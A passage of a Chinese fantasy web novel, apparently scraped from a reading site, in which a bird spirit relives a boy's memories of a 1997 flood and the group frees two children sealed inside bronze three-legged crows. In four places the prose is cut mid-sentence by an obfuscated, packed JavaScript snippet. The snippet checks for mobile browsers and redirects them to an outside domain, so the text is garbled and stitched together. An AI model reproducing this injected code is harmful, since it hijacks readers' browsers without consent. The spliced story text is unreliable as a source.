身后有人骑着自行车经过,徐知酬赶紧把水笔塞回了赵墨林手里。他慌慌张张地喊道:“明东叔!我,我和墨林玩儿呢!” “好小子,四处乱涂乱画被我给发现了吧?哈哈哈哈哈!” 刘明东的笑声飞速远去,徐知酬拉起徐知甄就往家方向走:“不画了,不画了!我没时间陪你画画!我得赶紧回去做饭了!” “哎,哎!徐知酬,你怎么走了啊你——!” 兄妹两人一路疾行,平时要半小时的路今天只用了不到二十分钟就走完了全程。徐知酬前脚刚进院门,后脚一个小不点就远远地迎上来扑进了他的怀里:“哥哥!姐姐!你们终于回来啦!” “知元!”徐知酬一把将徐知元抱了起来,他气喘吁吁地问:“你一个人在家还好吗?早午饭吃了没?拼音认了几个?哎哟,脸上怎么弄那么脏……呼,呼。你在家有没有想哥哥啊?” “想啊!我做梦都想赶紧和你俩一起上学!”徐知元一笑,露出了一嘴黑洞洞的豁牙。 徐知酬看得直乐呵:“别急,等下半年开学你就可以上学啦。不过呢你上的是小学,哥哥已经初中了,我不能天天陪在你身边哦。” “哎?”徐知元的笑容立刻僵在了脸上。他扁扁嘴巴,有些委屈地说:“那……那也没事的哥!我一个人也可以,我,呜,知甄姐还可以陪我一起……” “再过两年我也要上初中了。”徐知甄冷冷地说,“你还是得自己一个人睡午觉。” “哇——” “哎哎哎,知元你别哭!你看,面具!哥哥给你画了好漂亮的面具哦!”徐知酬赶紧把红色面具塞徐知元手里,“红色的!喜不喜欢?知甄也有一个!这俩都是我亲手做的哦。” “面具!”小孩子毕竟好哄,徐知元立马被转移注意力,抱着面具爱不释手地把玩了起来。 叮铃铃铃—— 徐知酬刚松一口气,客厅的座机电话就尖锐地响了起来。他拿起听筒,还没来得及说话就眼睛一亮:“爸爸!” 其余两个小孩纷纷竖起了耳朵。 “嗯,嗯,好……好的,那太好了,我马上就跟他们说!” 徐知酬挂断电话,兴奋地回头对弟弟妹妹说道:“爸妈厂里最近放假,他们说明早就坐船从县里回来!听说咱们仨都有礼物,知甄,你想要的百科全书妈妈也给你买到了!” “那太好了啊!我好久没见到他们了!”徐知元乐得一蹦三尺高,徐知甄虽不说话,表情也柔和了许多。徐知酬放下话筒就钻进了厨房。他一边翻箱倒柜一边兴奋地说:“刚好昨天买了点肉菜,今天给你们做可乐鸡翅吃!” “我还想吃葱花蛋饼!” “那我要白砂糖拌西红柿!” “哥哥哥哥,昨天那个香肠小面包还有没有剩的呀?” 小小孩们围着灶台叽叽喳喳,大小孩则抡勺做菜忙得不亦乐乎,不出二十分钟徐知酬熟练地做完了四菜一汤,徐知甄和徐知元抢最后一块可乐鸡翅的时候,屋外传来了一阵隐约的雷鸣。 然后,狂风忽而起涌。 天还没有全黑,树木飘摇的弧音仿佛有车马在水中通行。徐知酬疑惑地向窗外望去:没人会在这种时刻造访,他却如鬼使神差般起身向门口走了过去。 徐知甄趁弟弟不备飞快地把鸡翅塞进了嘴里,她无视徐知元嗷嗷的哭声问道:“怎么,你不吃了吗?” “奇怪,天气预报明明说这几天都不会下雨的……”徐知酬拿上伞走出了房门,他回头对弟弟妹妹说道:“你们先吃,我到院子里收衣服去,好好坐着别跟出来哦。” 屋外的风已经很大,徐知酬开门的时候差点被吹一趔趄。 这里离镇上有一段距离,远处的建筑群低矮接续,近处的原野荒草连片,他顶着狂风抱下好几摞衣物,他正准备回屋,一不留神被地上的石子绊了一跤。 “哎哟!” 雨点应声而落,塑料晾衣架哗哗啦啦地散落了一地。 “徐知酬!” 徐知甄努力扒到了窗边,但是她的身高太矮,故而看不清外面发生的事情。她扯着嗓子大喊道:“徐知酬,你人没事吧!” “我还好!你俩好好待着千万别出来啊!” 徐知酬手忙脚乱地捡起了地上的衣服,他抱着一堆外套裤衩跑回屋檐下,还没来得及松一口气,一回头见到一条蓝色的碎花短裙歪歪扭扭地飘上了空中。 糟了,那是徐知甄最喜欢的一件衣服! “哎哎哎,你等等,你别跑啊!” 他赶忙把腿就追,可那裙子却仿佛有自主意识般绕着院子飘来飘去。徐知酬越追,它的路线便越不走常规,从屋檐下到院门不过十几米路,它硬是带着徐知酬绕了无数个大圈,徐知酬整个人追得连滚带爬,却连半片裙尾都没能够摸到。 院门吱呀作响,就连那轴承也好像在嘲笑他的狼狈,过了不知多久蓝裙子终于飘向门外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐知酬踮脚将裙子扯下,然后,他实在按捺不住心底的好奇,战战兢兢地朝门外探出头了去。 前方,空无一物。 左侧,什么都没有。 右手边,是他常走的路。 头顶,只剩下几根蓝裙子余留的丝线。 “呼……”徐知酬轻轻呼出了一口浊气, 他颤颤巍巍摸上自己的脖子:还好,没有被那怪物咬断。 “刚才那个……那是什么啊……?” 没人能回答他的问题,他在原地呆呆地站了很久,直到头顶“轰”地响起巨雷,他才如梦初醒般地回头跑了过去。 糟了,忘了屋子里还有人了! “知甄,知元,你们没事吧?!!” 他焦急地推开房门,却见那黑蛇一冲而出对他张开了血口—— “阿真!救我!!!!” 时妙原尖叫着从荣观真怀里弹了起来。 35. 狂风起涌(一) 时妙原猛然睁开了眼睛。 方才看到的画面还在他脑海中翻腾,眼前的视域仿佛被蒙了一层纱帐。 周身环绕着令他怀念的气息,有人在轻轻拍他的脸蛋,过了一会儿时妙原反应了过来:他正躺在荣观真怀里。 “对不起对不起!我不是故意的!”时妙原手忙脚乱地爬了起来,结果起得太快又晕头倒下,再次被荣观真稳稳接住。他扶着时妙原的后颈,带着他靠坐在了一块大石旁。 “别乱动,深呼吸,慢点起,实在不行再休息一会儿。”荣观真低声说道。 时妙原捂着脑袋缓了很久,才差不多辨认出周围的景象。 这里依旧是水底,避水珠的光辉仍然璀璨夺目。它为他们辟出了一小片干燥的区域,而在四五米开外的地方,无波无形的黑暗正在障壁边徐徐地流淌。 黑水淹没了鱼儿与水草,视线正前方有几截黑漆漆的石柱,那是他在徐知酬的回忆中见过的石雕,是“白马”的残骸。 而他所倚靠着的,正是乌枫镇只剩下了一个木字旁的石碑。 遥英和荣承光站在白马残雕边小声地交谈着什么,注意到时妙原醒来,荣承光恨铁不成钢地叹了口气。 “你又昏过去了,祖宗。你怎么老这样,能别拖后腿了不?” “我刚才是被魇住了吗?”时妙原挠着后脑勺问,“我……呼,我好像变成了别人,跟着他走了好远的路。” “是的,从刚出门那刻起,我们就进入了幻境中。”遥英解释道,“我们仨脱离得比较快,但是你……法力有限,陷得太深,似乎还直接被亡魂上了身。我们想把你拉出来,都费了不少力气。” “常栖迟,你真的能当护法吗?”荣承光不耐烦地问,“我都不知道他是从哪找的这么弱的跟班!到底是谁保护谁啊?你有几年修为?你是鸟妖是吧,啥鸟啊,是大鹏,是雪鸮,还是老鹰?” “那啥,谢谢小荣老爷抬举,但人家其实是喜鹊来的。”时妙原娇滴滴地笑了。光看他这样,别说是喜鹊了,就连当山鸡都未免有些掉价。 “别谢我,你还是先谢谢他吧!”荣承光指着荣观真说,“是他一意孤行要救你的,我喊了好多次要他别再管你,他倒好,百八十年不见发这么大一次善心,好说歹说都非得把你捞回来。” 荣观真脸上的红布条有些歪了,时妙原未作多想,抬手帮他扶正了一点。 他语气轻快地说:“那就多谢荣老爷救我一命啦。” 荣观真问:“你刚才叫我什么?” “啊?我喊你荣老爷啊。” “我问的是你没醒的时候。”荣观真平静地说,“你那时候是怎么称呼我的?” 荣承光贴心地提醒道:“你叫他阿真哦。真恶心啊,跟喊小孩子似的。” 时妙原当即捧腹大笑:“哇!真的假的!我怎么不记得了呀!哈哈哈哈哈……哎哟,可能那时候我脑子不太清醒吧!那什么,我不能这么叫么?” 他内心汗如雨下。 不能这么叫吗?鬼都知道当然不可以! 古往今来几千年,敢这么喊荣观真的也就只有曾经的他还有荣闻音而已。只能说肌肉记忆终究还是高于理智,时妙原恨不得连甩自己两个大嘴巴:叫你乱喊,叫你乱喊!叫你管不住脑子! “先别说这些了,你现在感觉怎么样?”荣观真竟然直接转移了话题,这可正中了时妙原下怀。他立刻哎哎哟哟地往他怀里倒了进去:“哎哟你别说,哎哟头好晕,哎哟胸口闷闷的。哎哟难受,喘不过气儿……哎?哎哎哎哎哎?” 荣观真又抱住了他。 他像哄小孩似地拍着时妙原的后背问道:“这样会好些么?” 他们面对面相拥,时妙原甚至闻到了他身上若隐若现的花香。那是黄姜花,这里离蕴轮谷至少百里之远,这味道竟然也没有完全消散。 时妙原的大脑宕机了。他僵硬地嗫嚅了几句,好半天没能蹦出一个字儿来。 荣承光嘶嘶哈哈地吐起了信子,遥英见状担忧不已:“你感冒了?” “没。老房子又着火了,我闻着味儿太冲,得想法子散散气儿。” “噗。” 荣承光的耐心毕竟有限,没一会儿他就忍不住催促道:“好了好了!你俩腻歪完了没有?别搁这你侬我侬的了,那喜鹊!我问你,你刚才在幻境里都看到了什么?” “哦,哦!差点忘了这茬我靠!”时妙原赶忙挣脱出荣观真的怀抱,他咳嗽两声,红着脸说:“我变成了一个叫徐知酬的人。” “徐知酬?” “对,从我的视角来看,他是乌枫镇中心学校的一名初中生……” 时妙原一一复述。 待到他终于结束讲述,所有人都陷入了深深的沉默中。 “所以,我最后看到的画面就是那条迎面扑来的黑蛇,再接下来就不清楚了……你们谁知道后来发生了什么吗?”时妙原问。 荣观真一言不发,而荣承光也难得没有发表任何意见。遥英低头稍作思考,说:“他应该死在了洪水里。” “洪水?” “对,如果我没记错的话,1997年夏天,慧阳一带发生了一次百年不遇的特大级别洪水。” 遥英回忆道:“那时天气预报系统还不完善,短短三小时内降水量就达到了五百多毫米。东阳江原有的水利系统彻底崩溃,大水退去之后,整个下游一带的地貌都发生了天翻地覆的变化。乌枫镇依江而建,受灾最重,在那之后还直接沉入了江底……如果我没猜错的话,这片废墟,应该就是曾经的乌枫镇了。” “1997年,那就是二十九年前……” 时妙原的心跳突然漏了一拍。 等等。 那不是他和荣观真刚分手那会吗? 遥英还在继续分析:“不出意外的话,你所说的那位青年应该是死在了那场洪水里。他和其他死者的残魂被留在了水底,又出于某种原因一直没有往生……但这都不能解释为什么这里会有重身水,而且这事儿又和那只山羊有什么关系呢?” 时妙原提出了一个假设:“难道是徐知酬成精了?” 每个人脸上都露出了复杂的表情。 “看我干嘛,一般来说不都是这个剧情吗?”时妙原挠着后脑勺说,“一个小孩儿,死于非命,怨气不消,做鬼做妖,死后无差别打击报复活人,这不是再俗套不过的逻辑了吗?要我看,那山羊头真的很有可能就是徐知酬,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时妙原应和道:“是啊,先不论凶手是何方神圣,这恰好说明了一个问题:徐知酬的死并不简单。二十九年前乌枫镇那场洪水中绝对发生了一些事情,而且是一些让徐知元认为这世上有鬼有妖有神也有仙的怪事!与此同时那件事还让他坚定地认为:他哥哥依旧活着,但却被困在了某位恶神手里,至今求生不得,求死也不能。” 听到“恶神”两个字的时候,荣承光的脸色忽地变得铁青。时妙原看他这样,不由得暗暗叹了口气。 “算了,先别想这些了!”他大手一挥道,“总之呢这事儿肯定跟我们几个脱不了关系,不然那个山羊精也不会费尽心机来设局!不过既然咱们这儿最关键的当事人不记得了,那我们也没必要非得现在纠结出个所以然来。依我看,我们还是先想办法找到出……” 时妙原话讲到一半,突然就停了下来。 荣观真发现了他的不对劲:“你怎么了?” “这是……?” 时妙原缓缓低下头去,脚下一闪而过的光芒令他有一瞬间的晃神。 那光来自于某种物件,它的形状尖锐,看起来像极了…… 鸟喙。 “哎?” 他愣了半秒。 就这在短暂的迟疑间,他脚下的土地突然一松,一个有两米宽的大洞突然塌陷出来,如一张巨口般将他吸进了深坑中。 36. 狂风起涌(二) “哎哎哎哎哎哎啊啊啊啊——!” 这一下来得实在猝不及防,时妙原根本就没有时间变出翅膀。坠落时间不过半秒,摔到坑底的时候他听见自己的后脑勺传出了“咚”!的一声闷响。 “嘶——好痛啊,好痛啊,好痛好痛我靠!我的腿……我的脑袋,哎哟我的肋巴骨啊!” 这到底是什么原理,为什么他能倒霉成这样?!时妙原欲哭无泪地想:自从复活以来,他已经像这样连续踩空了三次了!究竟还有没有王法了?有没有人能记得他其实是会飞的啊! “常栖迟!常栖迟你在里面吗——” “你还好吗?我靠,哥们儿你没事吧!” “这里怎么会有坑啊!” “把东西给我!” “喂!你等一下!你等等等等!你撒手!你要干嘛——” 头顶传来七嘴八舌的呼唤,可时妙原根本就无力应答。这坑至少有十几深,普通人摔下来绝对非死即伤,而他现在也好受不到哪去。他的五脏六腑仿佛都被移了个位,脸上也被划了老大一个口子,头顶的光线黯淡而又遥远。黑暗将他包围,某段遥远的记忆一瞬间卷土重来。 “怎,怎么这么黑啊……”他小声嘀咕着,在地上蜷成了一团。 他不答话,地面上的吵闹声逐渐愈演愈烈,过了十几秒钟他听见一声巨响,然后是荣承光惊慌失措的吼叫声:“我靠,你别冲动!!!” 耳旁传来风声,有什么东西落到了他的身边。时妙原还在发懵,再抬头却见到眼前一片光亮。 荣观真竟然直接就跳了下来。他手上抓着避水珠,二话不说便开始替时妙原疗伤,一阵阵暖意涌进他的体内,很快时妙原就感到身上的刺痛减弱了不少。 “你……你怎么自己跳下来了……”他支着身子,十分艰难地问。 荣观真没有回答,在接下来很长一段时间里,时妙原耳边就只剩下他凌乱而急促的呼吸声。 过了不知多久以后,荣观真终于松了口气。 “你还好吗?”他气喘吁吁地问。 时妙原抬头一看,荣观真身上不仅糊得到处是泥,头发也乱七八糟地支棱着,看上去就像是个刚从战场上逃下来的难民。不过他脸上的红布条勉强还算安好,那木质的手作神像也正随着主人呼吸的节奏在他的心口摇摆。是他的错觉吗?这小东西看起来好像也十分担忧。 时妙原摸了摸自己的脸蛋,他的伤口是不再流血了,只是血迹还没消去,看起来应该很吓人。 “我,我还好的!谢谢你啊荣老爷,但是你怎么直接就跳下来了?”他磕磕绊绊地问,“其实你没有必要这样的啊,你不用下来的,我可以自己想办法……” “你废话那么多干什么?”荣观真不耐烦地捏住了他的肩膀,“我担心你,所以就下来找你了,不可以吗?” “哎哟可以,可以!您这是什么话啊当然一百个没问题!哎但是您轻点儿啊我靠!我这,我这身子骨还没好全乎呢!” 荣观真光速松开了手,但马上他又戳着时妙原的肩窝问:“哪儿疼?是这里?这里?还是这里?” “哎哟不是……哈哈哈,我靠没事了没事了!你别按了,哎哟哈……我现在感觉好多了!” 时妙原怕痒,他被荣观真戳得连连后退,但坑底空间有限,他又差一点儿撞到了岩壁上。 “别乱动了!”荣观真一把按住了他。然后他取下避水珠,强硬地将它缠在了他的手腕上:“这个你先拿着。” “老东西!快点把避水珠还给我!”地面上传来了荣承光的叫骂声,“你当强盗上瘾了还是怎么着的?怎么还带直接上手抢的啊——” “你给老子闭嘴!”荣观真抬头怒吼道,“你这小王八羔子,我还没找你算账呢,你倒先耍起横起来了!荣承光,你别给脸不要脸!你再敢多叫一个字,我等下上去就把你皮扒了塞药罐子里泡酒!!!” 荣承光瞬间噤声。 荣观真吼完弟弟,扭头对时妙原说:“我们上去吧。你现在还能飞吗?” “那啥,这……这我可能是飞不太起来了。”时妙原无助地说,“你忘啦?我们在这儿用不了多少法术。” 他这话确实不假。从刚才起他就一直在尝试变出翅膀或变回鸟形,可每次他都无疾而终。不过就算他有翅膀也没辙,毕竟这地方实在太窄,别说是展翅腾飞了,就连转身都有些困难。 本来只有他一个人倒还好,荣观真下来以后,这里就几乎没有多余的空间了。 他们几乎是面对面地贴在一起。 “……” 气氛有点微妙,时妙原脑子里全都是些不能播的念头和画面。他一边默念阿弥陀佛一边仰头望去,坑壁上许多黑不溜秋的东西引起了他的注意。 那些应该都是鸟类的肢干。 准确来说,应该是青铜鸟身体的一部分。它们的身子有大半被掩埋在泥土里,暴露出来的部分由上至下错落而列,最远的临近地面,最近的就在荣观真身后。 从露在外面的鸟喙来看,这里有一,二,三……总共九座青铜鸟塑像。 九座?这个数字令时妙原眼皮一跳。 荣观真也注意到了这些东西,他狐疑地问:“这都是什么?鸟吗?为什么水底下会有鸟?” “我不知道,但是……” 时妙原将避水珠伸到荣观真身后,仔细打量过那只离他们最近的铜鸟后,他有些不可置信地说:“但是你背后这只好像是金乌。” “什么?”荣观真想要转身,时妙原赶忙出言阻止:“你别乱动!这地方太窄了!” “你说有金乌?在哪里,让我看看!” “不就在你背后吗!哎哎哎疼,疼!你轻点儿!你压着我脑袋了!” “你让一下不就好了?别叫!” “你说得轻巧,有本事别顶老子肚子啊?我靠什么东西啊咋这么硌人!荣观真!你身上是藏暗器了还是怎么着!” “你……你别乱摸!不对,刚才那个原来是肚子啊?我说怎么那么软……” “哎哎哎哎哎!你耍流氓啊你!!!!” 一阵鸡飞马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142678|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳之后,荣观真终于得偿所愿扒到了那铜鸟身边,一看清它的模样,他就立刻理解了时妙原所说的意思。 “有三只脚。”他喃喃道,“三足九爪,这确实……确实是金乌没错。” 在避水珠的照耀下,那鸟呈现着某种极为诡异的姿态。它本是作腾飞状,可有一大半翅膀被掩盖在了黑臭的淤泥中。时妙原高举起光源,他发现顶上其余金乌的姿态远不及眼前这只张狂,它们无不垂头耷尾,乍一看就好像全都死去了一样。 “上面那些应该也是金乌。”时妙原作出了判断,“一共九只,倒是很符合传说故事嘛。” “这些都是活的吗?”荣观真冷不丁问道。 他问这话的时候,还在目不转睛地盯着那只金乌,就好像这样能从它身上挖出什么东西似的。 “你想啥呢?当然全都是假的了。先不论它们是用来干什么的,是谁这么无聊,要跑水底下放这种东西,看着还怪瘆人的……等等。” 时妙原眉头一皱。 “你先起来吧,到我身后去。”他拍了拍荣观真的肩膀,“先别看了。” 荣观真纹丝不动。他非但没有起身,还伸出手,小心翼翼地放到了那铜金乌的翅膀上。 时妙原立马拦住了他:“你别摸!这东西不对劲。” “有什么好不对劲的?”荣观真不耐烦地问,“不就是雕像而已,我摸一下也……” “也先别说话。” “啊?” 时妙原竖起了食指:“嘘。” 荣观真狐疑地闭上了嘴巴。 这样一来,现场就只剩下了他们的心跳和呼吸声。 咚咚,咚咚。 咚咚,咚咚咚。 咚。 呼…… “!” 荣观真猛一激灵,他听见了不属于他们中任何一人的呼吸声。 平缓,舒和,不仔细分辨根本无法察觉。声源是……最靠近他们的一只金乌。 时妙原示意荣观真让开,然后他弯下腰,弓起指节在金乌的肚子上轻轻敲了两下。 空的。他用气音对荣观真说。 砸开?荣观真用眼神示意道。 “你退后一点。我来弄开看看。” 荣观真愕然道:“你要怎么弄开?拿牙咬吗?” “我在你心里就那么不体面吗?退后,我现在翅膀放不出来,变点别的小东西应该还是可以的。” 时妙原说完,张开五指,在铜鸟的下腹处虚虚比划了两下。 荣观真正要再问,却见时妙原的右手忽地变出了五根锋利至极的锐爪。 紧接着他猛地一挥—— 当! 坑中回荡起金石交接的巨响,一瞬间甚至有火花四处飞溅。四周土石纷落,时妙原揽着荣观真往一旁躲去,待到金属的嗡鸣声平息后他再望向那鸟,整个人都震惊地张大了嘴巴:“这是……!” 铜金乌惨遭开膛破肚,有两个孩子正在那空腹中静静地沉睡。他们不是别人,正是失踪已久的关亭云和关居星。 37. 狂风起涌(三) “怎么会是他们!” 时妙原大惊失色,荣观真小心翼翼地拨开铜片残渣,将关亭云和关居星从金乌的肚子里抱了出来。 两位小护法看着并无大碍,只是表情略有些不安,即便在梦中也紧蹙着眉头。 “亭云,亭云?”荣观真轻轻拍打着关亭云的脸蛋,“你还好吗?” 关亭云咕哝了几句,荣观真从他嘴里得不到答案,便转而问关居星:“居星!你怎么样?你醒一醒,能听得到我说话吗?” 他这不问还好,一问,关居星就像蚯蚓似的在他怀里游了起来。 “救……救命……救命啊。”他额头冷汗涔涔,“我不要……我不要这个……我不要啊啊啊啊!” “关居星,你醒醒!”荣观真摇晃起了他的肩膀,“你快醒醒,你别做梦了!你别怕,我就在这儿呢!” “不要……我不要……” “你到底不要什么啊?!” “我……我不要放香菜啊……” “……” 荣观真脸上瞬间五彩缤纷,时妙原赶忙在他大发雷霆之前把关居星扒拉了过来:“算了算了,小孩子嘛,人没事儿就行!先别管香菜的事情了,老荣啊,你把亭云背上,咱们想想办法上去呗?我现在不太能飞。” 小孩儿们又呜呜咽咽地哭喊了几句,荣观真扛起关亭云,抬头冲上方大喊道:“荣承光!把我们拉上去!” “哟!这时候终于想起我来了?”荣承光不出所料露出了一副小人得志的嘴脸,“荣观真,你求老子啊!你喊我一声祖宗我就帮你!” “三!” “三什么三?你说啥玩意儿?” 荣观真平静地说:“二。” “我靠我靠我靠,你别他妈的倒数啊!”荣承光瞬间就慌了神,“我帮!我帮你总行了吧!哎哟我……你这老东西是真爱软饭硬吃!” 地表一阵兵荒马乱,再然后很快就安静了下来。时妙原等得脖子都仰酸了也没能盼来荣二少爷的倩影,他正在心里暗骂这混球办事不靠谱,蓦地感到耳边飘来了一阵凉意。 什么东西? 他回头一看,一条有树干粗的金色蛇尾颤颤巍巍落到他和荣观真中间。 它对两人轻轻抖了抖尾巴尖,依照蛇类的肢体语言来说,这应该算是骂得很脏了。 “我靠,这是荣承光的尾巴吗?”时妙原露出了十分难以言喻的表情,“不是……难不成他准备用这个带咱上去?” “对,这是他的灵体,和我的白马是一个性质,你硬要讲的话也可以算作是他的化身。”荣观真头疼地按住了太阳穴,“这玩意儿虽然看着埋汰,但现在不是穷讲究的时候,先忍忍吧。” “嘶……那荣老爷,我能问你个问题吗?” “你问。” “这玩意儿是连在他屁股上的吗?” “……” “好了,好了,别说了。我可以当作什么都不知道。” 荣承光好像骂了些什么,但时妙原对此进行了选择性回避。蛇尾在几人中间来来回回地试探,它很明显也不是很愿意接这趟脏活,但迫于荣观真的淫威,它终究还是安安分分地将所有人环住、圈好,紧紧缠缚起来,缓缓往坑口的方向提了上去。 “哎哟呵!力气还不小。”时妙原惊叹道。 蛇尾的力量极大,它几乎不费吹灰之力就将四人提到了空中。避水珠的光辉打在它灿金的鳞片上,其间不仅有虹光泛射,还照映出了许多肉眼难见的暗纹。 蛇尾不断上提,时妙原双手空空、无处受力,好几次都差点儿磕到脑袋。于是他稍作思考,自然而然地揽住了荣观真的脖子。 他腆着脸笑道:“我借个力,您别介意。” 不一会儿,蛇尾就带着他们来到了地面。刚一落地,它就飞快地松开了他们,逃命似地蹿回遥英身边,十分轻车熟路地缠到了他的腰上。缠了好几圈。 遥英趔趄了两步:“承光!你这样我站不稳哦。” 荣承光不情不愿地松开遥英,转而用尖端最细的一小段尾巴圈住了他的脚踝。于是遥英又问:“那我等下怎么走路呀?” “啧。” “来嘛。”遥英抬起了胳膊,“还是到这里吧。” 蛇尾立刻顺势缠上他的手腕,荣承光目的达成,当即心满意足地哼起了小调。 他见荣观真在忙着摆弄小孩,便不怀好意地问道:“哎哟呵,你还真是宝刀未老哈。这下去才几分钟连孩子都有了,你俩动作可够快啊。” 荣观真根本就懒得给他眼神,倒是时妙原先起了好奇心:“你的尾巴好灵活啊,真是自己的吗?能不能拆下来给我看看?” “对,我的。你爹厉害吧?”荣承光一笑,露出了两颗锐利的毒牙,“想看那可没门,哪凉快哪儿呆着去。” “哎那父皇啊,孩儿其实还有一事不明,不知道您能不能给我指点迷津。”时妙原真诚地问,“你咋还是鸳鸯眼啊?另一片隐形眼镜儿你不摘啦?” “不摘了,怎么的,你难道不觉得这样很时髦吗?”荣承光指着自己绿色的那颗眼珠子说,“我决定以后就一直这样儿了,金绿交战!洋气得很!你懂不懂什么叫……算了,跟你这种土老帽说你也不明白。” 死骚包玩意儿。时妙原默默白了他一眼。 就在这时,关居星突然睁眼喊道:“荣老爷!” “你别怕,我在这。”荣观真小心翼翼地把他扶了起来,“你还好吗?感觉如何?你们遇到什么东西了,是谁把你们带到这里的,你还有印象吗?” 关居星花了好几秒钟才聚焦起视线,他一见到荣观真,眼泪立马就飚了出来:“荣老爷!居然真的是你!我不是在做梦吧!啊啊啊呜呜呜呜——我以为再也见不到你了——” “你小子,别把鼻涕抹我身上!你快说,你俩到底是什么情况?” “荣老爷!”关亭云也醒了过来,他半坐起身,有些迷茫地揉着眼睛说:“我俩……我俩好像是被卷到了江里……” “这里就是江里。”遥英提示道,“还记得那只山羊吗?咱们应该就是被它给弄过来的。我们在那边那个坑里找到了你们,你还记得后来发生的事情吗?” “啊……”关亭云看到了坑边的雕像,他一时间竟看出了神。他喃喃道:“我们先是昏过去了,再醒来就到了一个地方。我从来没去过那里,那地方……唔,那里有火,有水,有黑色的泥土,而且还有铁链。我感觉,那里好像是一座监狱!” “对,监狱!我也看见了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142679|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关居星插嘴道,“反正那里不是监狱肯定就是关押犯人的地方。我俩虽然没有挨打,但是旁边到处都有人在叫!他们又哭又闹搞得特别吓人,我和亭云想跑跑不出去,法宝用不上就算了,就连刀都拔不出来!我在最害怕的时候晕了过去,然后我就做梦,我梦到有人要往珍珠奶茶里加香菜,我靠真的吓死我了啊啊啊啊——” “地下囚牢?那会是什么地方?”遥英陷入了思考,“难道说……” 时妙原突然问:“那地方很黑吗?” “好像是的!”关居星猛猛点头道,“你别说,那里虽然有火,但是到处都黑黢黢的。要不是亭云一直拉着我,我肯定就走丢了!” “有很多人在说话,对吧?” “哎?比别说……” “它们是不是一直在说些什么想出去,想离开,觉得自己很委屈,很痛很难受,一刻都不想待了之类的话?”时妙原连珠炮似地追问道。 “对,对!真的就是这样的,你怎么知道?那儿可吵了我天!叽叽喳喳吵吵嚷嚷的,就好像是……就像是……” “就像是小鸟一样?” 此话一出,在场众人皆愣了半秒。 关居星好像想到了什么事情,他的脸上突然变得青一阵白一阵,十分难看。 “他们还说了什么?”时妙原平静地问。 “呃……他们,他们还说……”关居星一边回忆,一边眼睛止不住地四处乱瞟,“他们还说想出去,想到处飞,想到外面玩,不想再待在那里了。还有……” “还有?” “他们还说有一个叛徒,明明说好会回来救大家的,结果却把他们丢在那里,自己逍遥自在去了。” 时妙原张了张嘴巴。 他正想说点什么,却听见遥英开口道: “那个叛徒,指的应该是时妙原吧。” 他见所有人都在看他,有些不好意思地挠了挠头:“你们应该都不太清楚,这部分记录我也是前几日才在不归池的档案库里看到的。承光,这个我可以讲吗?” “讲呗,有什么不能说的。”荣承光耸了耸肩,“反正时妙原早就死了,你还怕他跳出来打你不成?” 说这话时,他的眼睛一直在有意无意地往荣观真身上瞟。不过,荣观真不为所动。 得到荣承光的首肯后,遥英点点头,对关亭云和关居星说道:“你们被带去的应该是十恶大败狱。那是专门用来关押重罪者的监牢。” “监、监牢?”关居星害怕地缩了缩脖子。 “对,诸位应该都听过这个故事吧?传说在远古时期扶桑树下生有十日,而三足金乌便都是那些太阳的化身。它们每每共现于世都会带来深重的灾难,后羿张弓射杀了其中九日,为人间带来了安定与和平。自那时起,天上就只剩下了一个太阳,而其余的那些金乌,就都被押进了十恶大败狱中。” “相传,十恶大败狱中有燃魂火、重身水、刺心风与震灵雷,那些全都是为十恶不赦之灵准备的刑罚。它远离人间,靠近冥域,地处生死交界,不受任何管辖。所有进了十恶大败狱的犯人——无论是人是仙,无论高低贵贱,都要永生永世在那受刑,一秒钟也得不到解脱。” “但时妙原,偏偏就是从那里逃出来的。” 38. 十恶得赦 (一) “还要多久啊?” “没多久了。” “没多久了是多久?” “没多久了就是快了。” “快了,真的快了。” 时妙原有气无力地说。 “再忍忍,再……咳……再多忍几天就好了……” 三千年前,十恶大败狱。 冥河流水汤汤,魂火经燃不息,这里是生死界外之地。 时妙原的脑袋昏沉,他已不记得自己在这里磋磨了多久。他只知道他的每一分每一秒,都和上一分上一秒一样根本就望不到尽头。 铁索在他的血肉间游移,黑暗中传来阵阵无助的悲叹,那是金乌们日复一日、毫无新意的滥调。 “我好想走。” “为什么我们还没有死?” “想离开这里……” “为什么这一切没有尽头?” “因为……因为我们做错事了。” 时妙原断断续续地说:“因为我们害了人,伤了天理,有很多人因为我们而死,这是……这是我们应得的。” 有人反驳他:“不对呀,我明明什么都没有做啊。” “我就只是在天上挂着而已呀!” 